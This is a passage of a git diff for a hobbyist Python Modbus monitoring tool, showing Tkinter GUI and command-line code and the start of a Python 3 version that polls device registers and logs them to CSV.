self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + 